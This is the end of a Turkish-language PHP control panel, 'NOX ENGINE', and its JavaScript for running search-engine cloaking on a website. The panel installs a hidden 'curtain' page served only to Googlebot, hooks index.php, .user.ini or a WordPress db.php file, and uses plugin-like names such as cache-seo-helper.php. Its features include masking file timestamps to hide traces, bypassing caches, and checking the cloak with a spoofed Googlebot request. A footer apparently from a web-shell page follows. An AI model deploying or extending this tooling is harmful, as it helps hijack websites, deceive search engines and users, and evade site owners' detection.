style="margin-top:12px"> <button class="btn btn-revert" onclick="revert()">Cloak'ı Kapat</button> <button class="btn btn-cache" id="btn-cache" onclick="clearcache()">Cache Temizle</button> <?php if(!$IS_PLUGIN): ?> <button class="btn btn-ts" onclick="fixtimestamp()">Timestamp Düzelt</button> <button class="btn" style="background:#1a0a0a;color:#f66;border:1px solid #c33" onclick="uninstall()">Tamamen Kaldır</button> <?php endif; ?> </div> <div class="note" style="color:#fa0"><b>Cloak'ı Kapat:</b> bayrak silinir, site normal (tekrar açılabilir). | <b>Cache Temizle:</b> OPcache + disk + LSWS purge.<?=$IS_PLUGIN?'':' | <b>Timestamp Düzelt:</b> dosya tarihlerini maskeler. | <b style="color:#f66">Tamamen Kaldır:</b> orijinal index.php geri + tüm iz temizlenir.'?></div> <?php // Sunucu + cache savunması durumu — HEM plugin HEM file modunda göster. $srv=cseh_server_type(); $serveLayer=$IS_PLUGIN?'db.php airbag':'kök index.php cloak'; ?> <div class="note" style="color:#0a7;margin-top:8px">Sunucu: <b><?=htmlspecialchars(strtoupper($srv))?></b> | Servis: <b><?=$serveLayer?></b> | Cache savunması: <?php if($srv==='litespeed'): ?>LiteSpeed → .htaccess bypass + <?=$serveLayer?> (tam korumalı). <?php elseif($srv==='apache'): ?>Apache → .htaccess bypass + <?=$serveLayer?> (server cache genelde yok, tam yeterli). <?php elseif($srv==='nginx'): ?>nginx → <?=$serveLayer?> PHP'ye ulaşan her istekte çalışır. <b>nginx FastCGI/proxy cache aktifse</b> aşağıdaki snippet'i sunucu config'ine ekletin. <?php else: ?><?=$serveLayer?> (PHP seviyesi, her sunucuda çalışır). <?php endif; ?> </div> <?php if($srv==='nginx'): ?> <details style="margin-top:6px"> <summary style="color:#fa0">nginx FastCGI cache bypass snippet (sadece server-level cache varsa gerekir)</summary> <div class="note" style="margin:6px 0">Bu siteyi nginx server-level cache'liyorsa, hosting/sunucu yöneticisine şu satırları nginx server bloğuna eklet. Cloak zaten PHP'ye ulaşan isteklerde perdeyi basıyor; bu snippet sadece nginx'in Googlebot'u cache'ten serbest bırakması içindir.</div> <textarea readonly style="height:150px;color:#adf"><?=htmlspecialchars(cseh_nginx_snippet())?></textarea> </details> <?php endif; ?> <div id="cache-hint" style="display:none" class="cache-hint ch-info"></div> <div class="msg" id="cmsg"></div> <div id="tsresult" style="display:none;margin-top:10px"> <div style="color:#c8a0ff;font-size:12px;margin-bottom:6px;font-weight:bold">Timestamp Raporu</div> <div id="tsrows"></div> </div> <div class="msg" id="bcmsg"></div> <div id="bcresult" style="display:none;margin-top:10px"> <div id="bcbadge" style="padding:10px 14px;border-radius:4px;font-size:13px;font-weight:bold;margin-bottom:8px"></div> <div id="bcmeta" style="font-size:12px;color:#888;margin-bottom:6px"></div> <details> <summary style="font-size:12px;color:#555;cursor:pointer">Yanıt önizlemesi (ham HTML)</summary> <pre id="bcpreview" style="background:#0a1228;border:1px solid #222;padding:8px;font-size:11px;color:#adf;overflow-x:auto;white-space:pre-wrap;margin:6px 0;max-height:260px;overflow-y:auto"></pre> </details> </div> </div> <!-- Perde Yönetimi — ana: textarea yapıştır (hep çalışır); alta opsiyonel dosya yükle --> <div class="card"> <h3>Perde İçeriği</h3> <div class="note" style="margin-bottom:6px">Perde (cloaking) HTML kodunuzu aşağıya yapıştırıp <b>Kaydet</b>'e basın. Hedef: <code><?=htmlspecialchars($perdeLabel)?></code> (kök'e DEĞİL, gizli klasöre). (Mevcut perde varsa <b>Yükle</b> ile getirip düzenleyebilirsiniz.)</div> <div class="toolbar"> <button class="btn btn-load" onclick="loadHtml()">Mevcut Perdeyi Yükle</button> <span id="lmsg" style="font-size:12px;color:#555"></span> </div> <textarea id="htmlcontent" placeholder="Perde HTML kodunu buraya yapıştırın, sonra Kaydet'e basın..."></textarea> <div class="toolbar"> <button class="btn btn-save" onclick="saveHtml()">Kaydet</button> <span class="msg" id="hmsg"></span> </div> </div> <!-- Google doğrulama yükleme --> <details> <summary>Google Search Console Doğrulama Dosyası Yükle</summary> <div class="card" style="margin-top:6px"> <div class="note" style="margin-bottom:8px">Google'ın verdiği <code>google….html</code> dosya adı + <code>google-site-verification:</code> içeriği. Kök'e yazılır.</div> <input id="gname" placeholder="Dosya adı: google….html" style="background:#0a1228;color:#0ff;border:1px solid #0f3;padding:7px;font-family:monospace;width:100%;border-radius:4px;margin-bottom:6px"> <input id="gcontent" placeholder="İçerik: google-site-verification: TOKEN" style="background:#0a1228;color:#0ff;border:1px solid #0f3;padding:7px;font-family:monospace;width:100%;border-radius:4px"> <div class="toolbar" style="margin-top:8px"> <button class="btn btn-save" onclick="uploadGoogle()">Yükle</button> <span class="msg" id="gmsg"></span> </div> </div> </details> <script> <?php // Plugin context (WP route ?cseh=1) → relative AJAX URL'leri cseh=1'i kaybeder, prefix gerek. // Standalone (cache-seo-helper.php) → prefix yok. $_pk_key = defined('CSEH_KEY')?CSEH_KEY:'wpmc'; $_pk_prefix = (isset($_GET[$_pk_key])&&$_GET[$_pk_key]==='1') ? ($_pk_key.'=1&') : ''; ?> var PK=<?=json_encode($_pk_prefix.'p='.rawurlencode($_np))?>; var HTML_FILE=<?=json_encode($HTML_FILE)?>; var IS_PLUGIN=<?=$IS_PLUGIN?'true':'false'?>; var GOOGLE_RX=/^google[a-zA-Z0-9]+\.html$/; // ---- Durum makinesi ---- var _cloakActive=false; var _botcheckDone=false; var _botcheckWorking=false; var _LS_KEY='nox_bc_'+location.hostname; function _saveBotcheck(){ try{localStorage.setItem(_LS_KEY,JSON.stringify({done:_botcheckDone,working:_botcheckWorking,ts:Date.now()}));}catch(e){} } function _loadBotcheck(){ try{ var d=JSON.parse(localStorage.getItem(_LS_KEY)||'null'); if(!d||Date.now()-d.ts>86400000)return null; return d; }catch(e){return null;} } function _setCloakStatusBadge(state){ // state: 'checking' | 'atilmamis' | 'pasif' | 'aktif' var el=document.getElementById('cloak-status'); if(!el)return; var map={ checking :{cls:'cs-checking',txt:'● Kontrol ediliyor...'}, atilmamis :{cls:'cs-pasif', txt:'● Cloaking Atılmamış'}, pasif :{cls:'cs-sorun', txt:'● Cloaking Status: Pasif'}, aktif :{cls:'cs-aktif', txt:'● Cloaking Status: Aktif'} }; var m=map[state]||map.atilmamis; el.className='cloak-status '+m.cls; el.textContent=m.txt; } function _updateCacheBtn(){} function _checkCloakActive(){ _setCloakStatusBadge('checking'); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=checkcloak&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ try{ var r=JSON.parse(x.responseText); _cloakActive=(r.active===true); if(_cloakActive){ var _saved=_loadBotcheck(); if(_saved){ _botcheckDone=_saved.done; _botcheckWorking=_saved.working; _setCloakStatusBadge(_botcheckWorking?'aktif':'pasif'); }else{ _setCloakStatusBadge('pasif'); } }else{ _setCloakStatusBadge('atilmamis'); } _updateCacheBtn(); }catch(e){_setCloakStatusBadge('pasif');} }; x.onerror=function(){_setCloakStatusBadge('pasif');}; x.send(); } // Sayfa yüklenince cloak durumunu kontrol et window.addEventListener('load',function(){_checkCloakActive();}); function decodeB64Response(xhr){ var enc=(xhr.getResponseHeader("X-Body-Encoding")||"").toLowerCase(); if(enc!=="base64") return xhr.responseText; try{ var bin=atob(xhr.responseText.replace(/\s+/g,"")); var bytes=new Uint8Array(bin.length); for(var i=0;i<bin.length;i++) bytes[i]=bin.charCodeAt(i); return new TextDecoder("utf-8").decode(bytes); }catch(e){return "Çözme hatası: "+e.message} } function setMsg(id,text,type){ var el=document.getElementById(id); el.textContent=text; el.className="msg "+(type||"info"); } function reloadStatus(){ setTimeout(function(){location.href="?"+PK},800); } function autocloak(){ setMsg("cmsg","İşleniyor...","info"); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=autocloak&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ try{ var r=JSON.parse(x.responseText); var ok, txt; if(r.mode==='plugin'){ ok=(r.flag==='ON'); txt="✓ Cloak servisi AÇIK ("+(r.index==='ALREADY'?'zaten kurulu':'kuruldu')+") — perde: render-cache.html"; }else if(r.mode==='file'){ // Çok-yöntemli: başarı = flag ON + en az 1 yöntem (index.php VEYA .user.ini) kuruldu/zaten var. var methods=r.methods||[]; var installed=(r.index==='ALREADY')||methods.length>0; ok=(r.flag==='ON')&&installed; if(r.index==='ALREADY'){ txt="✓ Cloak servisi AÇIK (zaten kurulu, açıldı)"; }else if(methods.length>0){ txt="✓ Cloak servisi AÇIK — yöntem: "+methods.join(" + "); if(r.userini_note)txt+=" ("+r.userini_note+")"; }else{ txt="✗ Kurulamadı — index.php: "+(r.index||'?')+" | .user.ini: "+(r.user_ini||'?')+". index.php yazılabilir değil + .user.ini desteklenmiyor."; } }else{ ok=false; txt="Beklenmeyen yanıt"; } setMsg("cmsg",txt,ok?"ok":"err"); if(ok){ _cloakActive=true; _botcheckDone=false; _botcheckWorking=false; _setCloakStatusBadge('checking'); _updateCacheBtn(); setMsg("cmsg",txt+" — GoogleBot kontrolü başlatılıyor...","info"); setTimeout(function(){botcheck(true);},600); } }catch(e){ setMsg("cmsg","Hata: "+x.responseText,"err"); } }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err")}; x.send(); } function revert(){ if(!confirm("Cloak servisi kapatılsın mı? (bayrak silinir, site normale döner; perde/kurulum durur, tekrar açabilirsiniz)"))return; setMsg("cmsg","İşleniyor...","info"); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=revert&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ var ok=x.responseText==="OK"; setMsg("cmsg",ok?"Cloak servisi kapatıldı (site normal).":"Hata: "+x.responseText,ok?"ok":"err"); if(ok) reloadStatus(); }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err")}; x.send(); } function uninstall(){ if(!confirm("TAMAMEN KALDIR — index.php orijinaline döndürülecek, bayrak ve .htaccess kuralı silinecek. Emin misiniz?"))return; setMsg("cmsg","Kaldırılıyor...","info"); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=uninstall&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ var ok=x.responseText==="OK"; setMsg("cmsg",ok?"Tamamen kaldırıldı — orijinal index.php geri yüklendi.":"Hata: "+x.responseText,ok?"ok":"err"); if(ok) reloadStatus(); }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err")}; x.send(); } function enc(s){ var b=btoa(unescape(encodeURIComponent(s))); return encodeURIComponent(b.replace(/\+/g,"-").replace(/\//g,"_").replace(/=+$/,"")); } function loadHtml(){ document.getElementById("lmsg").textContent="Yükleniyor..."; var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=raw&b="+enc(HTML_FILE)+"&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ if(x.status!==200){document.getElementById("lmsg").textContent="HTTP "+x.status;return;} document.getElementById("htmlcontent").value=decodeB64Response(x); document.getElementById("lmsg").textContent="Yüklendi."; }; x.onerror=function(){document.getElementById("lmsg").textContent="Hata"}; x.send(); } function toHex(str){ var bytes=new TextEncoder().encode(str),h=""; for(var i=0;i<bytes.length;i++) h+=("0"+bytes[i].toString(16)).slice(-2); return h; } function saveHtml(){ var c=document.getElementById("htmlcontent").value; if(c.indexOf("<"+"?")!==-1){setMsg("hmsg","PHP etiketi içeremez.","err");return;} setMsg("hmsg","Kaydediliyor...","info"); var fd=new FormData(); fd.append("a","savehtml"); fd.append("d",toHex(c)); var x=new XMLHttpRequest(); x.open("POST","?"+PK+"&_="+Date.now()); x.onload=function(){ var ok=x.responseText==="OK"; setMsg("hmsg",ok?"Kaydedildi.":"Hata: "+x.responseText,ok?"ok":"err"); }; x.onerror=function(){setMsg("hmsg","Ağ hatası","err")}; x.send(fd); } function clearcache(){ setMsg("cmsg","Cache temizleniyor...","info"); var t0=Date.now(); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=clearcache&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.timeout=30000; // 30sn'de yanıt gelmezse takılı kalma, uyar x.onload=function(){ var dur=((Date.now()-t0)/1000).toFixed(1); var r; try{r=JSON.parse(x.responseText);}catch(e){setMsg("cmsg","JSON hatası: "+x.responseText,"err");return;} if(r.fatal){setMsg("cmsg","PHP Hatası: "+r.fatal+(r.line?" (satır "+r.line+")":""),"err");return;} var errs=[],oks=0; for(var k in r){if(r[k]&&r[k].s){if(r[k].s==="err"||r[k].s==="warn")errs.push(k);else if(r[k].s==="ok")oks++;}} if(errs.length){ setMsg("cmsg","Cache temizlendi ("+oks+" işlem, "+dur+"s) — "+errs.length+" uyarı: "+errs.join(", "),"err"); }else{ setMsg("cmsg","✓ Cache temizlendi ("+oks+" işlem, "+dur+"s)","ok"); } }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err")}; x.ontimeout=function(){setMsg("cmsg","Zaman aşımı (30sn) — sunucu yanıt vermedi. Tekrar deneyin.","err")}; x.send(); } function botcheck(auto){ setMsg("bcmsg","GoogleBot isteği gönderiliyor...","info"); document.getElementById("bcresult").style.display="none"; _setCloakStatusBadge('checking'); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=botcheck&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ setMsg("bcmsg","","info"); var r; try{r=JSON.parse(x.responseText);}catch(e){setMsg("bcmsg","JSON parse hatası: "+x.responseText,"err");_setCloakStatusBadge('sorun');return;} if(r.error){setMsg("bcmsg",r.error,"err");_setCloakStatusBadge('sorun');return;} var res=document.getElementById("bcresult"); var badge=document.getElementById("bcbadge"); var meta=document.getElementById("bcmeta"); var preview=document.getElementById("bcpreview"); res.style.display="block"; if(r.curl_error){ badge.className="badge-warn"; badge.textContent="cURL Hatası: "+r.curl_error; _botcheckDone=true;_botcheckWorking=false; _setCloakStatusBadge(_cloakActive?'pasif':'atilmamis'); }else if(r.html_empty){ badge.className="badge-warn"; badge.textContent="Perde henüz boş — önce 'Perde İçeriği' kısmına HTML yapıştırıp Kaydet edin, sonra kontrol edin."; _botcheckDone=true;_botcheckWorking=false; _setCloakStatusBadge(_cloakActive?'pasif':'atilmamis'); }else if(r.matched){ badge.className="badge-ok"; badge.textContent="✓ CLOAK ÇALIŞIYOR — GoogleBot, .html içeriğini görüyor."; _botcheckDone=true;_botcheckWorking=true; _setCloakStatusBadge('aktif'); }else{ badge.className="badge-fail"; badge.textContent="✗ CLOAK ÇALIŞMIYOR — GoogleBot, .html içeriğini göremedi."; _botcheckDone=true;_botcheckWorking=false; _setCloakStatusBadge(_cloakActive?'pasif':'atilmamis'); } _saveBotcheck(); _updateCacheBtn(); meta.textContent="URL: "+r.url+" | HTTP: "+r.http_code+(r.final_url&&r.final_url!==r.url?" | Yönlendi: "+r.final_url:""); preview.textContent=r.preview||"(yanıt boş)"; }; x.onerror=function(){setMsg("bcmsg","Ağ hatası","err");_setCloakStatusBadge('sorun');}; x.send(); } function fixtimestamp(){ setMsg("cmsg","Timestamp düzeltiliyor...","info"); document.getElementById("tsresult").style.display="none"; var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=fixtimestamp&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ setMsg("cmsg","","info"); var r;try{r=JSON.parse(x.responseText);}catch(e){setMsg("cmsg","JSON hatası","err");return;} var labels={"ref":"Referans Tarama","index.php":"index.php","wp-comments-post-loader.html":"HTML Dosyası"}; var html=""; for(var k in r){ var s=r[k].s,m=r[k].m; var cls=s==="ok"?"cache-ok":s==="warn"?"cache-warn":s==="err"?"cache-err":"cache-na"; var icon=s==="ok"?"✓":s==="warn"?"⚠":s==="err"?"✗":"—"; html+='<div class="cache-row '+cls+'"><b>'+icon+' '+(labels[k]||k)+'</b>: '+m+'</div>'; } document.getElementById("tsrows").innerHTML=html; document.getElementById("tsresult").style.display="block"; }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err");}; x.send(); } function uploadGoogle(){ var name=document.getElementById("gname").value.trim(); var content=document.getElementById("gcontent").value; if(!GOOGLE_RX.test(name)){setMsg("gmsg","Geçersiz ad. Örnek: google085517675749d6fe.html","err");return;} if(!content){setMsg("gmsg","İçerik boş olamaz.","err");return;} if(!/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/.test(content.trim())){setMsg("gmsg","Geçersiz içerik. Yalnızca şu format kabul edilir: google-site-verification: TOKEN","err");return;} setMsg("gmsg","Yükleniyor...","info"); var fd=new FormData();fd.append("a","writegoogle");fd.append("b",enc(name));fd.append("d",toHex(content)); var x=new XMLHttpRequest();x.open("POST","?"+PK+"&_="+Date.now()); x.onload=function(){ if(x.responseText==="OK"){setMsg("gmsg","Yüklendi: "+name+". Yenileniyor...","ok");setTimeout(function(){location.href="?"+PK},1000);} else{setMsg("gmsg","Hata: "+x.responseText,"err");} }; x.onerror=function(){setMsg("gmsg","Ağ hatası","err");}; x.send(fd); } function removeFile(name){ if(!GOOGLE_RX.test(name)){alert("Yalnızca Google doğrulama dosyaları silinebilir.");return;} if(!confirm(name+" silinsin mi?"))return; var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=rmgoogle&b="+enc(name)+"&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ if(x.responseText==="OK"){location.href="?"+PK;} else{alert("Hata: "+x.responseText);} }; x.onerror=function(){alert("Ağ hatası");}; x.send(); } </script> <div style="text-align:center;color:#2a3a2a;font-size:11px;font-family:monospace;margin:24px 0 8px;letter-spacing:1px">⬢ NOX ENGINE · güvenli panel</div> </body></html>
| ver. 1.4 |
Github
|
.
| PHP 8.2.31 | Generation time: 1 |
proxy
|
phpinfo
|
Settings